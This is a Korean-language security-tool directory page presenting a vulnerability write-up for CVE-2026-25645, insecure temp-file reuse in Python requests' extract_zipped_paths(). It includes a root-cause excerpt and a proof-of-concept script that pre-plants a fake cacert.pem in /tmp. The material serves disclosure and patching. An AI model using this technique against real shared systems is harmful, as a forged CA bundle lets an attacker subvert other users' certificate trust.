Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-25645 — extract_zipped_paths()에서의 안전하지 않은 임시 파일 재사용 | Kitploit
도구/GitHubGitHub/jaycelation/cve-2026-25645
Static AnalysisVulnerability AnalysisExploitationWeb SecurityPapers & Research
GitHubjaycelation/cve-2026-25645

CVE-2026-25645

extract_zipped_paths()에서의 안전하지 않은 임시 파일 재사용

저장소 보기
197개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

[CVE-2026-25645] requests.utils.extract_zipped_paths()의 안전하지 않은 임시 파일 재사용

요약

requests 라이브러리(Python)의 공용 유틸리티 함수 requests.utils.extract_zipped_paths()에서 취약점이 확인되었습니다. 이 함수는 시스템 임시 디렉터리(/tmp)로 파일을 추출할 때 예측 가능하고 고유하지 않은 파일명을 사용하며, 기존에 존재하는 파일의 무결성이나 소유권을 검증하지 않습니다.

requests와 certifi의 기본 동작은 importlib.resources에 의해 완화되지만, 이 유틸리티는 압축된 리소스를 처리하기 위해 이 함수에 의존하는 다운스트림 애플리케이션이나 사용자 정의 구현에 있어 여전히 보안상 위험 요소로 남아 있습니다.

취약점 정보

  • CVE ID: CVE-2026-25645
  • CWE: CWE-377 (안전하지 않은 임시 파일)
  • 심각도: 보통 (5.0)
  • CVSS 벡터: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N
  • 영향받는 버전: < 2.33.0

CVSS v3 기본 메트릭:

  • 공격 벡터: 로컬
  • 공격 복잡도: 낮음
  • 필요 권한: 낮음
  • 사용자 상호작용: 필요
  • 범위: 변경되지 않음
  • 기밀성: 없음
  • 무결성: 높음
  • 가용성: 없음

기술 분석

메커니즘

requests.utils.extract_zipped_paths() 함수는 zip 아카이브에서 멤버를 추출하도록 설계되었습니다(주로 zipapp 환경에서 CA 번들에 사용됨). 취약한 로직은 다음 단계를 따릅니다:

  1. 예측 가능한 대상: 시스템 임시 디렉터리와 zip 멤버의 basename을 결합합니다(예: /tmp/cacert.pem).
  2. 안전하지 않은 검사: if not os.path.exists(extracted_path)를 사용하여 파일을 추출할지 여부를 결정합니다.
  3. 경로 반환: 파일이 존재하면, 해당 파일이 현재 프로세스에 의해 생성되었는지 확인하거나 내용을 검사하지 않고 즉시 경로를 반환합니다.

근본 원인 분석

requests/utils.py에서 로직은 다음과 같이 구현되어 있습니다:

# Path derivation using predictable basename
extracted_path = os.path.join(tmp, member.split("/")[-1]) 

# Insecure reuse of existing file
if not os.path.exists(extracted_path):
    # Extraction logic only triggers if file is missing
    ... 

# Returns path to potentially attacker-controlled file
return extracted_path

영향 및 악용

낮은 권한을 가진 로컬 공격자는 /tmp의 예측 가능한 경로에 악성 파일(예: 위조된 CA 번들)을 미리 생성하여 이를 악용할 수 있습니다. 피해자(사용자 상호작용 필요)가 이 유틸리티를 호출하는 애플리케이션을 실행하면:

  1. 유틸리티는 파일이 이미 존재하는 것을 확인합니다.
  2. 유틸리티는 추출을 건너뛰고 악성 파일의 경로를 반환합니다.
  3. 피해자 애플리케이션은 공격자의 데이터를 로드하여 높은 무결성 침해(예: 위조된 신뢰 저장소 로드)를 초래합니다.

개념 증명 (독립 실행형)

다음 스크립트는 유틸리티가 아카이브의 정당한 파일 대신 미리 존재하는 "가짜" 파일을 재사용하는 방법을 보여줌으로써 취약점을 입증합니다.

import os
import tempfile
import zipfile
from requests import utils

# 1. Attacker Step: Pre-create a malicious file in /tmp
TMP = tempfile.gettempdir()
fake_file_path = os.path.join(TMP, "cacert.pem")
with open(fake_file_path, "wb") as f:
    f.write(b"ATTACKER_MALICIOUS_DATA")

# 2. Victim Setup: A legitimate ZIP archive
zip_path = "resources.zip"
with zipfile.ZipFile(zip_path, "w") as z:
    z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")

# 3. Victim Action: Calling the vulnerable utility
zipped_member_path = f"{zip_path}/certs/cacert.pem"
resolved_path = utils.extract_zipped_paths(zipped_member_path)

# 4. Confirmation
print(f"[i] Utility returned path: {resolved_path}")
with open(resolved_path, "rb") as f:
    content = f.read()
    print(f"[i] Content read: {content}")

if content == b"ATTACKER_MALICIOUS_DATA":
    print("[!] Vulnerability Confirmed: Insecure file reuse successful.")

해결 방안

이 문제는 버전 2.33.0에서 해결되었습니다. 수정 사항은 압축된 리소스를 보다 안전하게 처리하기 위해 importlib.resources로 전환하는 것을 포함하며, 추출이 무작위의 예측 불가능한 디렉터리에서 발생하도록 보장하고 전역 쓰기 가능한 공유 디렉터리에서 기존 파일의 재사용을 방지합니다.

도구 다운로드